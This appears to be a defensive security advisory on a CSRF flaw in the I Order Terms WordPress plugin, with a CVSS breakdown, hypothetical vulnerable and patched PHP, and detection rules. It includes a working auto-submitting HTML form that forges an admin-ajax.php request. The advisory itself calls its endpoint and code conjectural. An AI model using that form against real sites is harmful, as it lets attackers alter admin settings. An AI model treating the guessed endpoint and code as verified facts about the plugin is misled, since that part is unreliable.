CVE-2025-66097

Executive Summary

CVE-2025-66097 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the I Order Terms WordPress plugin by Igor Jerosimić, affecting versions up to and including 1.5.0. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or terms, by tricking the victim into clicking a crafted link or visiting a malicious page. The CVSS score is 4.3 (Medium), with a low attack complexity and no privileges required, but user interaction is necessary. No public exploit code or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin page for updates and verify the integrity of the plugin files using checksums provided by WordPress.org. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Attack Vector: Network (AV:N) – The attack can be launched remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Attacker does not need authentication.
• User Interaction: Required (UI:R) – Victim must click a link or visit a page.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: Low (I:L) – Attacker can modify plugin settings or terms.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While exploitation requires user interaction, the impact on integrity could allow an attacker to alter terms of service or plugin configurations, potentially leading to further attacks like stored XSS or privilege escalation.

Deep Dive & Mechanics

The vulnerability resides in the I Order Terms plugin, which likely handles AJAX requests for saving or updating order terms without proper CSRF token validation. In WordPress, CSRF protection is typically implemented via nonces. If the plugin fails to verify a nonce on state-changing actions (e.g., saving term order, updating settings), an attacker can craft a malicious HTML page that submits a forged request when the victim (an authenticated admin) visits it.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=save_order_terms).
2. Attacker crafts a malicious page with a hidden form or JavaScript that sends a POST request to that endpoint.
3. Attacker lures the victim (logged-in admin) to the malicious page.
4. The victim’s browser automatically sends the forged request, including their session cookies.
5. The plugin processes the request without verifying the nonce, altering the term order or settings.

Root Cause: Missing or improper nonce verification on AJAX actions or form submissions.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common CSRF fixes.

Vulnerable Code (i-order-terms.php):

add_action('wp_ajax_save_order_terms', 'save_order_terms_callback');
function save_order_terms_callback() {
    // No nonce check
    $terms = $_POST['terms'];
    update_option('i_order_terms_order', $terms);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_save_order_terms', 'save_order_terms_callback');
function save_order_terms_callback() {
    // Verify nonce
    if (!wp_verify_nonce($_POST['_wpnonce'], 'i_order_terms_nonce')) {
        wp_die('CSRF validation failed.');
    }
    $terms = sanitize_text_field($_POST['terms']);
    update_option('i_order_terms_order', $terms);
    wp_die();
}

The patched version adds wp_verify_nonce() to ensure the request originated from the legitimate admin page.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: WordPress site with I Order Terms <= 1.5.0 installed and an admin logged in.
• Attacker machine: Kali Linux or any web server.

Exploitation Steps:

1. Identify the vulnerable AJAX action (e.g., via source code review or fuzzing).
2. Create a malicious HTML file (csrf.html):

<html>
<body>
<form action="http://target/wp-admin/admin-ajax.php" method="POST" id="csrf">
    <input type="hidden" name="action" value="save_order_terms">
    <input type="hidden" name="terms" value="malicious_terms">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>

3. Host the file on attacker-controlled server.
4. Send the link to the victim (e.g., via email or social engineering).
5. When the victim visits the page, the form auto-submits, changing the term order.

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team (Defender)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with unexpected action parameters.
• Look for requests lacking a _wpnonce parameter or with invalid nonces.
• Use web application firewalls (WAF) to block requests without proper CSRF tokens.

Hunting:

• Search logs for POST requests to /wp-admin/admin-ajax.php where action contains save_order_terms or similar.
• Correlate with user agent anomalies or referrer headers from external domains.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=save_order_terms (or similar) from external referrers.
  • Requests missing _wpnonce parameter.
• Host:
  • Modified wp_options table entries for i_order_terms_order.
  • Unexpected changes in plugin settings or term order.
• Logs:
  • Access logs showing admin-ajax.php requests with suspicious parameters.
  • Error logs with nonce verification failures (if patched).

Detection Engineering

YARA Rule

rule CVE_2025_66097_CSRF_I_Order_Terms {
    meta:
        description = "Detects potential CSRF exploitation attempts against I Order Terms plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66097"
    strings:
        $ajax_action = "save_order_terms" nocase
        $wp_ajax = "wp_ajax_" nocase
        $nonce_missing = "_wpnonce" nocase
    condition:
        $ajax_action and $wp_ajax and not $nonce_missing
}

Sigma Rule

title: CSRF Exploitation Attempt Against I Order Terms Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to admin-ajax.php with suspicious action parameters lacking nonce
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=save_order_terms'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate plugin updates if nonce is present
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66097 CSRF I Order Terms Exploit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=save_order_terms"; http_client_body; pcre:"/^(?!.*_wpnonce).*$/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php without a valid nonce.
3. Educate administrators about phishing attacks and CSRF risks.

Long-term Fix:

• The vendor should add nonce verification to all AJAX actions and form submissions.
• Use WordPress built-in functions like wp_nonce_field() and check_ajax_referer().

Workaround:

• Add custom code to the theme's functions.php to enforce nonce checks:

add_action('wp_ajax_save_order_terms', 'custom_csrf_check', 1);
function custom_csrf_check() {
    if (!wp_verify_nonce($_POST['_wpnonce'], 'i_order_terms_nonce')) {
        wp_die('CSRF detected.');
    }
}

Monitoring:

• Regularly review plugin updates and apply patches immediately.
• Monitor logs for CSRF attempts and block offending IPs.

Valters IT
Securing Digital Frontiers